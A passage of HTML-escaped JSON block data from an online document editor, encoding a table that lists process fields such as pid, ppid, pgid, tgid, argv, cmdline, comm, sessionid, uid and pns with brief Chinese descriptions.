016-416e-9b35-438d1f9e0091col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnw6OE8gigMq8oymASWJVlKb&#34;},&#34;row5e37d718-a016-416e-9b35-438d1f9e0091col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnEw6WwISasmUyYNTLCj3wgd&#34;},&#34;row6c8bb293-0ed5-4f46-9ce4-2504e537f489col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn6GAAG4kQO8wI08jmxK9Rnd&#34;},&#34;row6c8bb293-0ed5-4f46-9ce4-2504e537f489col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnoSYyUwkIuKcWuyvgJV3cZb&#34;},&#34;row98c9f620-e802-45bc-bd67-3be3418bd321col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnusqGUEsckI04Wkhx6sfYWc&#34;},&#34;row98c9f620-e802-45bc-bd67-3be3418bd321col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnuamEEaagSAAmkmVR3hkXzi&#34;},&#34;rowb4fbeeee-244c-456d-a0a6-560917c42089col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcngIgK4cYY4eOWKAmTyvQmMc&#34;},&#34;rowb4fbeeee-244c-456d-a0a6-560917c42089col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcncMamQoQOqYYw8uKnhcWPeb&#34;}}}},&#34;doxcnw6OE8gigMq8oymASWJVlKb&#34;:{&#34;id&#34;:&#34;doxcnw6OE8gigMq8oymASWJVlKb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnYMWYOICwuCeUqqKOPJcsMg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnYMWYOICwuCeUqqKOPJcsMg&#34;:{&#34;id&#34;:&#34;doxcnYMWYOICwuCeUqqKOPJcsMg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnw6OE8gigMq8oymASWJVlKb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8259ce61-e51f-4131-887c-a3304a2c5110\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_27241936,enterprise_51586842\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;pid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnEw6WwISasmUyYNTLCj3wgd&#34;:{&#34;id&#34;:&#34;doxcnEw6WwISasmUyYNTLCj3wgd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn8Ae2Yg2YskmK43PikOOkph&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn8Ae2Yg2YskmK43PikOOkph&#34;:{&#34;id&#34;:&#34;doxcn8Ae2Yg2YskmK43PikOOkph&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnEw6WwISasmUyYNTLCj3wgd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;22445b69-7557-478d-826d-dd229aa929dd\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_27241936,enterprise_51586842\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;目标进程pid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnusqGUEsckI04Wkhx6sfYWc&#34;:{&#34;id&#34;:&#34;doxcnusqGUEsckI04Wkhx6sfYWc&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnQW6gouWiMMmGCAW99F2Cof&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnQW6gouWiMMmGCAW99F2Cof&#34;:{&#34;id&#34;:&#34;doxcnQW6gouWiMMmGCAW99F2Cof&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnusqGUEsckI04Wkhx6sfYWc&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;ppid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnuamEEaagSAAmkmVR3hkXzi&#34;:{&#34;id&#34;:&#34;doxcnuamEEaagSAAmkmVR3hkXzi&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcngg8KqeKECiacBBrhJ4bEjW&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcngg8KqeKECiacBBrhJ4bEjW&#34;:{&#34;id&#34;:&#34;doxcngg8KqeKECiacBBrhJ4bEjW&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnuamEEaagSAAmkmVR3hkXzi&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;8643049a-c1bf-4bca-be9c-a9920c0cf789\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_27241936,enterprise_51586842\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;父进程 pid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn8I2uIq4ckIEM2tspLUXSdd&#34;:{&#34;id&#34;:&#34;doxcn8I2uIq4ckIEM2tspLUXSdd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnWSAGuU4OOmiWmGl2rimrnb&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnWSAGuU4OOmiWmGl2rimrnb&#34;:{&#34;id&#34;:&#34;doxcnWSAGuU4OOmiWmGl2rimrnb&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn8I2uIq4ckIEM2tspLUXSdd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;pgid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnW8a60e0skwwmGs3oYQyK0c&#34;:{&#34;id&#34;:&#34;doxcnW8a60e0skwwmGs3oYQyK0c&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn4E24kIcw62uk6cEbQlSzab&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn4E24kIcw62uk6cEbQlSzab&#34;:{&#34;id&#34;:&#34;doxcn4E24kIcw62uk6cEbQlSzab&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnW8a60e0skwwmGs3oYQyK0c&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;abbb3875-5db6-4ca2-a2ba-e5247a2cf86b\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7044112870434422812,enterprise_7090026609016602628,enterprise_36642192\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5*1*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;父进程 组id&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnikSgOgcMYAQkSgPeWeuNIb&#34;:{&#34;id&#34;:&#34;doxcnikSgOgcMYAQkSgPeWeuNIb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnwG6mSEO60G8QuyHIkk61Re&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnwG6mSEO60G8QuyHIkk61Re&#34;:{&#34;id&#34;:&#34;doxcnwG6mSEO60G8QuyHIkk61Re&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnikSgOgcMYAQkSgPeWeuNIb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;tgid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnICyQkOMYe8eciEnSuC7hOh&#34;:{&#34;id&#34;:&#34;doxcnICyQkOMYe8eciEnSuC7hOh&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcns4cqYIi06mga0scX5Fg7UX&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcns4cqYIi06mga0scX5Fg7UX&#34;:{&#34;id&#34;:&#34;doxcns4cqYIi06mga0scX5Fg7UX&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnICyQkOMYe8eciEnSuC7hOh&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+f&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;thread group id&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcngIgK4cYY4eOWKAmTyvQmMc&#34;:{&#34;id&#34;:&#34;doxcngIgK4cYY4eOWKAmTyvQmMc&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcngM4aKE8SSsc68XvcSt9gEh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcngM4aKE8SSsc68XvcSt9gEh&#34;:{&#34;id&#34;:&#34;doxcngM4aKE8SSsc68XvcSt9gEh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcngIgK4cYY4eOWKAmTyvQmMc&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;argv&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcncMamQoQOqYYw8uKnhcWPeb&#34;:{&#34;id&#34;:&#34;doxcncMamQoQOqYYw8uKnhcWPeb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnGA4Y2qaYemYUvVSaBGmzrg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnGA4Y2qaYemYUvVSaBGmzrg&#34;:{&#34;id&#34;:&#34;doxcnGA4Y2qaYemYUvVSaBGmzrg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncMamQoQOqYYw8uKnhcWPeb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+d&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;进程命令行 cmdline&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnIQCSo4AgWW6sO2PtweK6xe&#34;:{&#34;id&#34;:&#34;doxcnIQCSo4AgWW6sO2PtweK6xe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnEK6w8m8Koewg4Y1BZZhV2c&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnEK6w8m8Koewg4Y1BZZhV2c&#34;:{&#34;id&#34;:&#34;doxcnEK6w8m8Koewg4Y1BZZhV2c&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnIQCSo4AgWW6sO2PtweK6xe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;comm&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnUuWGkkgKKyKmITC4R9s9Nd&#34;:{&#34;id&#34;:&#34;doxcnUuWGkkgKKyKmITC4R9s9Nd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnwSwsekOeSs2cmYUiicvVec&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnwSwsekOeSs2cmYUiicvVec&#34;:{&#34;id&#34;:&#34;doxcnwSwsekOeSs2cmYUiicvVec&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUuWGkkgKKyKmITC4R9s9Nd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;进程的命令名&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn6GAAG4kQO8wI08jmxK9Rnd&#34;:{&#34;id&#34;:&#34;doxcn6GAAG4kQO8wI08jmxK9Rnd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnYicO0yOWqOyYkb22NrqtRh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnYicO0yOWqOyYkb22NrqtRh&#34;:{&#34;id&#34;:&#34;doxcnYicO0yOWqOyYkb22NrqtRh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn6GAAG4kQO8wI08jmxK9Rnd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;sessionid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnoSYyUwkIuKcWuyvgJV3cZb&#34;:{&#34;id&#34;:&#34;doxcnoSYyUwkIuKcWuyvgJV3cZb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnCCi82wsuwOg48vpAkgtlFg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnCCi82wsuwOg48vpAkgtlFg&#34;:{&#34;id&#34;:&#34;doxcnCCi82wsuwOg48vpAkgtlFg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnoSYyUwkIuKcWuyvgJV3cZb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;ced64032-a1ad-48de-8836-65a3daa024df\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7044112870434422812,enterprise_7090026609016602628,enterprise_36642192\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+7*1*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;进程所在会话 ID&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn2kC2cmy8GMMYGWWPqYbgGd&#34;:{&#34;id&#34;:&#34;doxcn2kC2cmy8GMMYGWWPqYbgGd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnMSEugakmAaEYSmFjJqXPdf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnMSEugakmAaEYSmFjJqXPdf&#34;:{&#34;id&#34;:&#34;doxcnMSEugakmAaEYSmFjJqXPdf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn2kC2cmy8GMMYGWWPqYbgGd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;de514052-5b3a-4eae-a843-9f90102a1347\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_304,enterprise_992\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;uid&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcni8KGE4o4KEykCivhuqn01c&#34;:{&#34;id&#34;:&#34;doxcni8KGE4o4KEykCivhuqn01c&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnIUIuY4iOUUY0cNbhCTeCLh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnIUIuY4iOUUY0cNbhCTeCLh&#34;:{&#34;id&#34;:&#34;doxcnIUIuY4iOUUY0cNbhCTeCLh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcni8KGE4o4KEykCivhuqn01c&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;用户ID&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn6oygqGeqWoeystktVGjmkq&#34;:{&#34;id&#34;:&#34;doxcn6oygqGeqWoeystktVGjmkq&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnoGwuKgMUiy82sn6RHzbN2d&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnoGwuKgMUiy82sn6RHzbN2d&#34;:{&#34;id&#34;:&#34;doxcnoGwuKgMUiy82sn6RHzbN2d&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn6oygqGeqWoeystktVGjmkq&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;b729f936-219b-4646-b874-fd9af06f9313\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_43232178\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;pns&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnUaKG2GAq0gCCMRuEmvh89d&#34;:{&#34;id&#34;:&#34;doxcnUaKG2GAq0gCCMRuEmvh89d&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnKweY6EGOcIqEANxnTD1qIh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnKweY6EGOcIqEANxnTD1qIh